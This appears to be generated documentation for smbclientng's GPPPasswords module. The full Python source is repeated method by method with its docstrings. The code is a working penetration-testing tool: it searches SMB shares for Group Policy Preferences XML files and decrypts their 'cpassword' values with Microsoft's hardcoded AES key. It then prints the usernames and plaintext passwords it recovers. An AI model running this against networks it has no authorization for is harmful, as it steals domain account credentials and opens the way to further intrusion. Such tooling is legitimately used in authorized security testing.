smbclientng.modules.GPPPasswords

  1#!/usr/bin/env python3
  2# -*- coding: utf-8 -*-
  3# File name          : GPPPasswords.py
  4# Author             : Podalirius (@podalirius_)
  5# Date created       : 02 june 2024
  6
  7
  8import base64
  9import charset_normalizer
 10from Cryptodome.Cipher import AES
 11from Cryptodome.Util.Padding import unpad
 12import impacket
 13import io
 14import ntpath
 15import re
 16from smbclientng.core.Module import Module
 17from smbclientng.core.ModuleArgumentParser import ModuleArgumentParser
 18from smbclientng.core.utils import windows_ls_entry
 19import xml
 20from xml.dom import minidom
 21
 22
 23class GPPPasswords(Module):
 24    """
 25    GPPPasswords is a module designed to search and retrieve stored Group Policy Preferences (GPP) passwords from specified network shares. 
 26    It leverages the SMB protocol to access files across the network, parse them, and extract credentials that are often stored within Group Policy Preferences files.
 27
 28    This module is particularly useful in penetration testing scenarios where discovering stored credentials can lead to further system access or reveal poor security practices.
 29
 30    Attributes:
 31        name (str): The name of the module, used in command line invocation.
 32        description (str): A brief description of what the module does.
 33
 34    Methods:
 35        parseArgs(arguments): Parses and handles command line arguments for the module.
 36        parse_xmlfile_content(pathtofile): Parses the content of an XML file to extract credentials.
 37    """
 38
 39    name = "gpppasswords"
 40    description = "Searches for Group Policy Preferences Passwords in a share."
 41
 42    def parseArgs(self, arguments):
 43        """
 44        Parses the command line arguments provided to the module.
 45
 46        This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions.
 47
 48        Args:
 49            arguments (str): A string of command line arguments.
 50
 51        Returns:
 52            ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested.
 53        """
 54
 55        parser = ModuleArgumentParser(prog=self.name, description=self.description)
 56
 57        # Adding positional arguments
 58        parser.add_argument("paths", metavar="PATH", type=str, nargs="*", default=[], help="The starting point(s) for the search.")
 59
 60        # Adding actions
 61        parser.add_argument("-ls", action="store_true", default=False, help="List current file in ls -dils format on standard output.")
 62        parser.add_argument("-download", action="store_true", default=False, help="List current file in ls -dils format on standard output.")
 63
 64        # Other options
 65        parser.add_argument("-maxdepth", type=int, help="Descend at most levels (a non-negative integer) levels of directories below the command line arguments.")
 66        parser.add_argument("-mindepth", type=int, help="Do not apply any tests or actions at levels less than levels (a non-negative integer).")
 67
 68        if len(arguments.strip()) == 0:
 69            parser.print_help()
 70            return None
 71        else:
 72            self.options = self.processArguments(parser, arguments)
 73
 74        return self.options
 75
 76    def parse_xmlfile_content(self, pathtofile):
 77        """
 78        Parses the content of an XML file to extract credentials related to Group Policy Preferences.
 79
 80        This method attempts to retrieve and parse the content of the specified XML file from the SMB share. It looks for credentials stored within the XML structure, specifically targeting the 'cpassword' attribute which is commonly used for storing encrypted passwords in Group Policy Preferences files.
 81
 82        Args:
 83            pathtofile (str): The path to the XML file on the SMB share.
 84
 85        Returns:
 86            list: A list of dictionaries, each containing details about found credentials such as username, encrypted and decrypted passwords, and other relevant attributes.
 87        """
 88
 89        results = []
 90        fh = io.BytesIO()
 91        try:
 92            # opening the files in streams instead of mounting shares allows for running the script from
 93            # unprivileged containers
 94            self.smbSession.smbClient.getFile(self.smbSession.smb_share, pathtofile, fh.write)
 95        except impacket.smbconnection.SessionError as e:
 96            return results
 97        except Exception as e:
 98            raise
 99        rawdata = fh.getvalue()
100        fh.close()
101        gppp_found = False
102        encoding = charset_normalizer.detect(rawdata)["encoding"]
103        if encoding is not None:
104            filecontent = rawdata.decode(encoding).rstrip()
105            if "cpassword" in filecontent:
106                gppp_found = True
107            else:
108                if self.config.debug:
109                    print("[debug] No cpassword was found in %s" % pathtofile)
110    
111        if gppp_found:
112            try:
113                root = minidom.parseString(filecontent)
114                xmltype = root.childNodes[0].tagName
115                # function to get attribute if it exists, returns "" if empty
116                read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "")
117
118                # ScheduledTasks
119                if xmltype == "ScheduledTasks":
120                    for topnode in root.childNodes:
121                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
122                        for task in task_nodes:
123                            for property in task.getElementsByTagName("Properties"):
124                                results.append({
125                                    "tagName": xmltype,
126                                    "attributes": {
127                                        "username": read_or_empty(task, "name"),
128                                        "runAs": read_or_empty(property, "runAs"),
129                                        "cpassword": read_or_empty(property, "cpassword"),
130                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
131                                        "changed": read_or_empty(property.parentNode, "changed"),
132                                    },
133                                    "file": pathtofile
134                                })
135                elif xmltype == "Groups":
136                    for topnode in root.childNodes:
137                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
138                        for task in task_nodes:
139                            for property in task.getElementsByTagName("Properties"):
140                                results.append({
141                                    "tagName": xmltype,
142                                    "attributes": {
143                                        "username": read_or_empty(property, "newName"),
144                                        # "userName": read_or_empty(property, "userName"),
145                                        "cpassword": read_or_empty(property, "cpassword"),
146                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
147                                        "changed": read_or_empty(property.parentNode, "changed"),
148                                    },
149                                    "file": pathtofile
150                                })
151                else:
152                    for topnode in root.childNodes:
153                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
154                        for task in task_nodes:
155                            for property in task.getElementsByTagName("Properties"):
156                                results.append({
157                                    "tagName": xmltype,
158                                    "attributes": {
159                                        "username": read_or_empty(property, "newName"),
160                                        # "userName": read_or_empty(property, "userName"),
161                                        "cpassword": read_or_empty(property, "cpassword"),
162                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
163                                        "changed": read_or_empty(property.parentNode, "changed"),
164                                    },
165                                    "file": pathtofile
166                                })
167
168            except Exception as e:
169                raise
170
171        return results
172
173    def decrypt_password(self, pw_enc_b64):
174        """
175        Decrypts a password from its Base64 encoded form using a known AES key and IV.
176
177        This method takes a Base64 encoded string which is encrypted using AES-CBC with a fixed key and IV as per Microsoft's published details. It decodes the Base64 string, decrypts it using the AES key and IV, and returns the plaintext password.
178
179        Args:
180            pw_enc_b64 (str): The Base64 encoded string of the encrypted password.
181
182        Returns:
183            str: The decrypted password in plaintext, or an empty string if input is empty or decryption fails.
184        """
185
186        if len(pw_enc_b64) != 0:
187            # Thank you Microsoft for publishing the key :)
188            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be
189            key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
190            # Thank you Microsoft for using a fixed IV :)
191            iv = b"\x00" * 16
192            pad = len(pw_enc_b64) % 4
193            if pad == 1:
194                pw_enc_b64 = pw_enc_b64[:-1]
195            elif pad == 2 or pad == 3:
196                pw_enc_b64 += "=" * (4 - pad)
197            pw_enc = base64.b64decode(pw_enc_b64)
198            ctx = AES.new(key, AES.MODE_CBC, iv)
199            pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size)
200            return pw_dec.decode("utf-16-le")
201        else:
202            # cpassword is empty, cannot decrypt anything.
203            return ""
204
205    def __find_callback(self, entry, fullpath, depth):
206        """
207        Callback function for SMB session find method. This function is called for each entry found in the search.
208
209        This function checks if the entry is a file with an '.xml' extension. If it is, it parses the XML content to extract relevant data such as usernames and passwords. It then prints the file path and the extracted data if the current depth is within the specified minimum and maximum depth range.
210
211        Args:
212            entry (SMBEntry): The current file or directory entry being processed.
213            fullpath (str): The full path to the current entry.
214            depth (int): Depth of the path.
215            
216        Returns:
217            None: This function does not return any value.
218        """
219
220        # Match and print results
221        do_print_results = True
222        if self.options.mindepth is not None:
223            if depth < self.options.mindepth:
224                do_print_results = False
225        if self.options.maxdepth is not None:
226            if depth > self.options.maxdepth:
227                do_print_results = False
228        
229        if do_print_results:
230            if (not entry.is_directory()) and (entry.get_longname().lower().endswith('.xml')):
231                data = self.parse_xmlfile_content(fullpath)
232                if data is not None:
233                    if len(data) != 0:
234                        print("[+] %s" % fullpath)
235                        for entry in data:
236                            if self.config.no_colors:
237                                print("  | username: '%s'" % entry["attributes"]["username"])
238                                print("  | password: '%s'" % entry["attributes"]["password"])
239                            else:
240                                print("  | \x1b[94musername\x1b[0m: '\x1b[93m%s\x1b[0m'" % entry["attributes"]["username"])
241                                print("  | \x1b[94mpassword\x1b[0m: '\x1b[93m%s\x1b[0m'" % entry["attributes"]["password"])
242                            if len(data) > 1:
243                                print("|")
244        return None
245
246    def run(self, arguments):
247        """
248        This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria.
249
250        Args:
251            base_dir (str): The base directory to start the search from.
252            paths (list): List of paths to search within the base directory.
253            depth (int): The current depth level in the directory hierarchy.
254
255        Returns:
256            None
257        """
258
259        self.options = self.parseArgs(arguments=arguments)
260
261        if self.options is not None:
262            # Entrypoint
263            try:
264                next_directories_to_explore = []
265                for path in list(set(self.options.paths)):
266                    next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep)
267                next_directories_to_explore = sorted(list(set(next_directories_to_explore)))
268                
269                self.smbSession.find(
270                    paths=next_directories_to_explore,
271                    callback=self.__find_callback
272                )
273
274            except (BrokenPipeError, KeyboardInterrupt) as e:
275                print("[!] Interrupted.")
276                self.smbSession.close_smb_session()
277                self.smbSession.init_smb_session()
class GPPPasswords(smbclientng.core.Module.Module):
 24class GPPPasswords(Module):
 25    """
 26    GPPPasswords is a module designed to search and retrieve stored Group Policy Preferences (GPP) passwords from specified network shares. 
 27    It leverages the SMB protocol to access files across the network, parse them, and extract credentials that are often stored within Group Policy Preferences files.
 28
 29    This module is particularly useful in penetration testing scenarios where discovering stored credentials can lead to further system access or reveal poor security practices.
 30
 31    Attributes:
 32        name (str): The name of the module, used in command line invocation.
 33        description (str): A brief description of what the module does.
 34
 35    Methods:
 36        parseArgs(arguments): Parses and handles command line arguments for the module.
 37        parse_xmlfile_content(pathtofile): Parses the content of an XML file to extract credentials.
 38    """
 39
 40    name = "gpppasswords"
 41    description = "Searches for Group Policy Preferences Passwords in a share."
 42
 43    def parseArgs(self, arguments):
 44        """
 45        Parses the command line arguments provided to the module.
 46
 47        This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions.
 48
 49        Args:
 50            arguments (str): A string of command line arguments.
 51
 52        Returns:
 53            ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested.
 54        """
 55
 56        parser = ModuleArgumentParser(prog=self.name, description=self.description)
 57
 58        # Adding positional arguments
 59        parser.add_argument("paths", metavar="PATH", type=str, nargs="*", default=[], help="The starting point(s) for the search.")
 60
 61        # Adding actions
 62        parser.add_argument("-ls", action="store_true", default=False, help="List current file in ls -dils format on standard output.")
 63        parser.add_argument("-download", action="store_true", default=False, help="List current file in ls -dils format on standard output.")
 64
 65        # Other options
 66        parser.add_argument("-maxdepth", type=int, help="Descend at most levels (a non-negative integer) levels of directories below the command line arguments.")
 67        parser.add_argument("-mindepth", type=int, help="Do not apply any tests or actions at levels less than levels (a non-negative integer).")
 68
 69        if len(arguments.strip()) == 0:
 70            parser.print_help()
 71            return None
 72        else:
 73            self.options = self.processArguments(parser, arguments)
 74
 75        return self.options
 76
 77    def parse_xmlfile_content(self, pathtofile):
 78        """
 79        Parses the content of an XML file to extract credentials related to Group Policy Preferences.
 80
 81        This method attempts to retrieve and parse the content of the specified XML file from the SMB share. It looks for credentials stored within the XML structure, specifically targeting the 'cpassword' attribute which is commonly used for storing encrypted passwords in Group Policy Preferences files.
 82
 83        Args:
 84            pathtofile (str): The path to the XML file on the SMB share.
 85
 86        Returns:
 87            list: A list of dictionaries, each containing details about found credentials such as username, encrypted and decrypted passwords, and other relevant attributes.
 88        """
 89
 90        results = []
 91        fh = io.BytesIO()
 92        try:
 93            # opening the files in streams instead of mounting shares allows for running the script from
 94            # unprivileged containers
 95            self.smbSession.smbClient.getFile(self.smbSession.smb_share, pathtofile, fh.write)
 96        except impacket.smbconnection.SessionError as e:
 97            return results
 98        except Exception as e:
 99            raise
100        rawdata = fh.getvalue()
101        fh.close()
102        gppp_found = False
103        encoding = charset_normalizer.detect(rawdata)["encoding"]
104        if encoding is not None:
105            filecontent = rawdata.decode(encoding).rstrip()
106            if "cpassword" in filecontent:
107                gppp_found = True
108            else:
109                if self.config.debug:
110                    print("[debug] No cpassword was found in %s" % pathtofile)
111    
112        if gppp_found:
113            try:
114                root = minidom.parseString(filecontent)
115                xmltype = root.childNodes[0].tagName
116                # function to get attribute if it exists, returns "" if empty
117                read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "")
118
119                # ScheduledTasks
120                if xmltype == "ScheduledTasks":
121                    for topnode in root.childNodes:
122                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
123                        for task in task_nodes:
124                            for property in task.getElementsByTagName("Properties"):
125                                results.append({
126                                    "tagName": xmltype,
127                                    "attributes": {
128                                        "username": read_or_empty(task, "name"),
129                                        "runAs": read_or_empty(property, "runAs"),
130                                        "cpassword": read_or_empty(property, "cpassword"),
131                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
132                                        "changed": read_or_empty(property.parentNode, "changed"),
133                                    },
134                                    "file": pathtofile
135                                })
136                elif xmltype == "Groups":
137                    for topnode in root.childNodes:
138                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
139                        for task in task_nodes:
140                            for property in task.getElementsByTagName("Properties"):
141                                results.append({
142                                    "tagName": xmltype,
143                                    "attributes": {
144                                        "username": read_or_empty(property, "newName"),
145                                        # "userName": read_or_empty(property, "userName"),
146                                        "cpassword": read_or_empty(property, "cpassword"),
147                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
148                                        "changed": read_or_empty(property.parentNode, "changed"),
149                                    },
150                                    "file": pathtofile
151                                })
152                else:
153                    for topnode in root.childNodes:
154                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
155                        for task in task_nodes:
156                            for property in task.getElementsByTagName("Properties"):
157                                results.append({
158                                    "tagName": xmltype,
159                                    "attributes": {
160                                        "username": read_or_empty(property, "newName"),
161                                        # "userName": read_or_empty(property, "userName"),
162                                        "cpassword": read_or_empty(property, "cpassword"),
163                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
164                                        "changed": read_or_empty(property.parentNode, "changed"),
165                                    },
166                                    "file": pathtofile
167                                })
168
169            except Exception as e:
170                raise
171
172        return results
173
174    def decrypt_password(self, pw_enc_b64):
175        """
176        Decrypts a password from its Base64 encoded form using a known AES key and IV.
177
178        This method takes a Base64 encoded string which is encrypted using AES-CBC with a fixed key and IV as per Microsoft's published details. It decodes the Base64 string, decrypts it using the AES key and IV, and returns the plaintext password.
179
180        Args:
181            pw_enc_b64 (str): The Base64 encoded string of the encrypted password.
182
183        Returns:
184            str: The decrypted password in plaintext, or an empty string if input is empty or decryption fails.
185        """
186
187        if len(pw_enc_b64) != 0:
188            # Thank you Microsoft for publishing the key :)
189            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be
190            key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
191            # Thank you Microsoft for using a fixed IV :)
192            iv = b"\x00" * 16
193            pad = len(pw_enc_b64) % 4
194            if pad == 1:
195                pw_enc_b64 = pw_enc_b64[:-1]
196            elif pad == 2 or pad == 3:
197                pw_enc_b64 += "=" * (4 - pad)
198            pw_enc = base64.b64decode(pw_enc_b64)
199            ctx = AES.new(key, AES.MODE_CBC, iv)
200            pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size)
201            return pw_dec.decode("utf-16-le")
202        else:
203            # cpassword is empty, cannot decrypt anything.
204            return ""
205
206    def __find_callback(self, entry, fullpath, depth):
207        """
208        Callback function for SMB session find method. This function is called for each entry found in the search.
209
210        This function checks if the entry is a file with an '.xml' extension. If it is, it parses the XML content to extract relevant data such as usernames and passwords. It then prints the file path and the extracted data if the current depth is within the specified minimum and maximum depth range.
211
212        Args:
213            entry (SMBEntry): The current file or directory entry being processed.
214            fullpath (str): The full path to the current entry.
215            depth (int): Depth of the path.
216            
217        Returns:
218            None: This function does not return any value.
219        """
220
221        # Match and print results
222        do_print_results = True
223        if self.options.mindepth is not None:
224            if depth < self.options.mindepth:
225                do_print_results = False
226        if self.options.maxdepth is not None:
227            if depth > self.options.maxdepth:
228                do_print_results = False
229        
230        if do_print_results:
231            if (not entry.is_directory()) and (entry.get_longname().lower().endswith('.xml')):
232                data = self.parse_xmlfile_content(fullpath)
233                if data is not None:
234                    if len(data) != 0:
235                        print("[+] %s" % fullpath)
236                        for entry in data:
237                            if self.config.no_colors:
238                                print("  | username: '%s'" % entry["attributes"]["username"])
239                                print("  | password: '%s'" % entry["attributes"]["password"])
240                            else:
241                                print("  | \x1b[94musername\x1b[0m: '\x1b[93m%s\x1b[0m'" % entry["attributes"]["username"])
242                                print("  | \x1b[94mpassword\x1b[0m: '\x1b[93m%s\x1b[0m'" % entry["attributes"]["password"])
243                            if len(data) > 1:
244                                print("|")
245        return None
246
247    def run(self, arguments):
248        """
249        This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria.
250
251        Args:
252            base_dir (str): The base directory to start the search from.
253            paths (list): List of paths to search within the base directory.
254            depth (int): The current depth level in the directory hierarchy.
255
256        Returns:
257            None
258        """
259
260        self.options = self.parseArgs(arguments=arguments)
261
262        if self.options is not None:
263            # Entrypoint
264            try:
265                next_directories_to_explore = []
266                for path in list(set(self.options.paths)):
267                    next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep)
268                next_directories_to_explore = sorted(list(set(next_directories_to_explore)))
269                
270                self.smbSession.find(
271                    paths=next_directories_to_explore,
272                    callback=self.__find_callback
273                )
274
275            except (BrokenPipeError, KeyboardInterrupt) as e:
276                print("[!] Interrupted.")
277                self.smbSession.close_smb_session()
278                self.smbSession.init_smb_session()

GPPPasswords is a module designed to search and retrieve stored Group Policy Preferences (GPP) passwords from specified network shares. It leverages the SMB protocol to access files across the network, parse them, and extract credentials that are often stored within Group Policy Preferences files.

This module is particularly useful in penetration testing scenarios where discovering stored credentials can lead to further system access or reveal poor security practices.

Attributes: name (str): The name of the module, used in command line invocation. description (str): A brief description of what the module does.

Methods: parseArgs(arguments): Parses and handles command line arguments for the module. parse_xmlfile_content(pathtofile): Parses the content of an XML file to extract credentials.

name = 'gpppasswords'
description = 'Searches for Group Policy Preferences Passwords in a share.'
def parseArgs(self, arguments):
43    def parseArgs(self, arguments):
44        """
45        Parses the command line arguments provided to the module.
46
47        This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions.
48
49        Args:
50            arguments (str): A string of command line arguments.
51
52        Returns:
53            ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested.
54        """
55
56        parser = ModuleArgumentParser(prog=self.name, description=self.description)
57
58        # Adding positional arguments
59        parser.add_argument("paths", metavar="PATH", type=str, nargs="*", default=[], help="The starting point(s) for the search.")
60
61        # Adding actions
62        parser.add_argument("-ls", action="store_true", default=False, help="List current file in ls -dils format on standard output.")
63        parser.add_argument("-download", action="store_true", default=False, help="List current file in ls -dils format on standard output.")
64
65        # Other options
66        parser.add_argument("-maxdepth", type=int, help="Descend at most levels (a non-negative integer) levels of directories below the command line arguments.")
67        parser.add_argument("-mindepth", type=int, help="Do not apply any tests or actions at levels less than levels (a non-negative integer).")
68
69        if len(arguments.strip()) == 0:
70            parser.print_help()
71            return None
72        else:
73            self.options = self.processArguments(parser, arguments)
74
75        return self.options

Parses the command line arguments provided to the module.

This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions.

Args: arguments (str): A string of command line arguments.

Returns: ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested.

def parse_xmlfile_content(self, pathtofile):
 77    def parse_xmlfile_content(self, pathtofile):
 78        """
 79        Parses the content of an XML file to extract credentials related to Group Policy Preferences.
 80
 81        This method attempts to retrieve and parse the content of the specified XML file from the SMB share. It looks for credentials stored within the XML structure, specifically targeting the 'cpassword' attribute which is commonly used for storing encrypted passwords in Group Policy Preferences files.
 82
 83        Args:
 84            pathtofile (str): The path to the XML file on the SMB share.
 85
 86        Returns:
 87            list: A list of dictionaries, each containing details about found credentials such as username, encrypted and decrypted passwords, and other relevant attributes.
 88        """
 89
 90        results = []
 91        fh = io.BytesIO()
 92        try:
 93            # opening the files in streams instead of mounting shares allows for running the script from
 94            # unprivileged containers
 95            self.smbSession.smbClient.getFile(self.smbSession.smb_share, pathtofile, fh.write)
 96        except impacket.smbconnection.SessionError as e:
 97            return results
 98        except Exception as e:
 99            raise
100        rawdata = fh.getvalue()
101        fh.close()
102        gppp_found = False
103        encoding = charset_normalizer.detect(rawdata)["encoding"]
104        if encoding is not None:
105            filecontent = rawdata.decode(encoding).rstrip()
106            if "cpassword" in filecontent:
107                gppp_found = True
108            else:
109                if self.config.debug:
110                    print("[debug] No cpassword was found in %s" % pathtofile)
111    
112        if gppp_found:
113            try:
114                root = minidom.parseString(filecontent)
115                xmltype = root.childNodes[0].tagName
116                # function to get attribute if it exists, returns "" if empty
117                read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "")
118
119                # ScheduledTasks
120                if xmltype == "ScheduledTasks":
121                    for topnode in root.childNodes:
122                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
123                        for task in task_nodes:
124                            for property in task.getElementsByTagName("Properties"):
125                                results.append({
126                                    "tagName": xmltype,
127                                    "attributes": {
128                                        "username": read_or_empty(task, "name"),
129                                        "runAs": read_or_empty(property, "runAs"),
130                                        "cpassword": read_or_empty(property, "cpassword"),
131                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
132                                        "changed": read_or_empty(property.parentNode, "changed"),
133                                    },
134                                    "file": pathtofile
135                                })
136                elif xmltype == "Groups":
137                    for topnode in root.childNodes:
138                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
139                        for task in task_nodes:
140                            for property in task.getElementsByTagName("Properties"):
141                                results.append({
142                                    "tagName": xmltype,
143                                    "attributes": {
144                                        "username": read_or_empty(property, "newName"),
145                                        # "userName": read_or_empty(property, "userName"),
146                                        "cpassword": read_or_empty(property, "cpassword"),
147                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
148                                        "changed": read_or_empty(property.parentNode, "changed"),
149                                    },
150                                    "file": pathtofile
151                                })
152                else:
153                    for topnode in root.childNodes:
154                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
155                        for task in task_nodes:
156                            for property in task.getElementsByTagName("Properties"):
157                                results.append({
158                                    "tagName": xmltype,
159                                    "attributes": {
160                                        "username": read_or_empty(property, "newName"),
161                                        # "userName": read_or_empty(property, "userName"),
162                                        "cpassword": read_or_empty(property, "cpassword"),
163                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
164                                        "changed": read_or_empty(property.parentNode, "changed"),
165                                    },
166                                    "file": pathtofile
167                                })
168
169            except Exception as e:
170                raise
171
172        return results

Parses the content of an XML file to extract credentials related to Group Policy Preferences.

This method attempts to retrieve and parse the content of the specified XML file from the SMB share. It looks for credentials stored within the XML structure, specifically targeting the 'cpassword' attribute which is commonly used for storing encrypted passwords in Group Policy Preferences files.

Args: pathtofile (str): The path to the XML file on the SMB share.

Returns: list: A list of dictionaries, each containing details about found credentials such as username, encrypted and decrypted passwords, and other relevant attributes.

def decrypt_password(self, pw_enc_b64):
174    def decrypt_password(self, pw_enc_b64):
175        """
176        Decrypts a password from its Base64 encoded form using a known AES key and IV.
177
178        This method takes a Base64 encoded string which is encrypted using AES-CBC with a fixed key and IV as per Microsoft's published details. It decodes the Base64 string, decrypts it using the AES key and IV, and returns the plaintext password.
179
180        Args:
181            pw_enc_b64 (str): The Base64 encoded string of the encrypted password.
182
183        Returns:
184            str: The decrypted password in plaintext, or an empty string if input is empty or decryption fails.
185        """
186
187        if len(pw_enc_b64) != 0:
188            # Thank you Microsoft for publishing the key :)
189            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be
190            key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
191            # Thank you Microsoft for using a fixed IV :)
192            iv = b"\x00" * 16
193            pad = len(pw_enc_b64) % 4
194            if pad == 1:
195                pw_enc_b64 = pw_enc_b64[:-1]
196            elif pad == 2 or pad == 3:
197                pw_enc_b64 += "=" * (4 - pad)
198            pw_enc = base64.b64decode(pw_enc_b64)
199            ctx = AES.new(key, AES.MODE_CBC, iv)
200            pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size)
201            return pw_dec.decode("utf-16-le")
202        else:
203            # cpassword is empty, cannot decrypt anything.
204            return ""

Decrypts a password from its Base64 encoded form using a known AES key and IV.

This method takes a Base64 encoded string which is encrypted using AES-CBC with a fixed key and IV as per Microsoft's published details. It decodes the Base64 string, decrypts it using the AES key and IV, and returns the plaintext password.

Args: pw_enc_b64 (str): The Base64 encoded string of the encrypted password.

Returns: str: The decrypted password in plaintext, or an empty string if input is empty or decryption fails.

def run(self, arguments):
247    def run(self, arguments):
248        """
249        This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria.
250
251        Args:
252            base_dir (str): The base directory to start the search from.
253            paths (list): List of paths to search within the base directory.
254            depth (int): The current depth level in the directory hierarchy.
255
256        Returns:
257            None
258        """
259
260        self.options = self.parseArgs(arguments=arguments)
261
262        if self.options is not None:
263            # Entrypoint
264            try:
265                next_directories_to_explore = []
266                for path in list(set(self.options.paths)):
267                    next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep)
268                next_directories_to_explore = sorted(list(set(next_directories_to_explore)))
269                
270                self.smbSession.find(
271                    paths=next_directories_to_explore,
272                    callback=self.__find_callback
273                )
274
275            except (BrokenPipeError, KeyboardInterrupt) as e:
276                print("[!] Interrupted.")
277                self.smbSession.close_smb_session()
278                self.smbSession.init_smb_session()

This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria.

Args: base_dir (str): The base directory to start the search from. paths (list): List of paths to search within the base directory. depth (int): The current depth level in the directory hierarchy.

Returns: None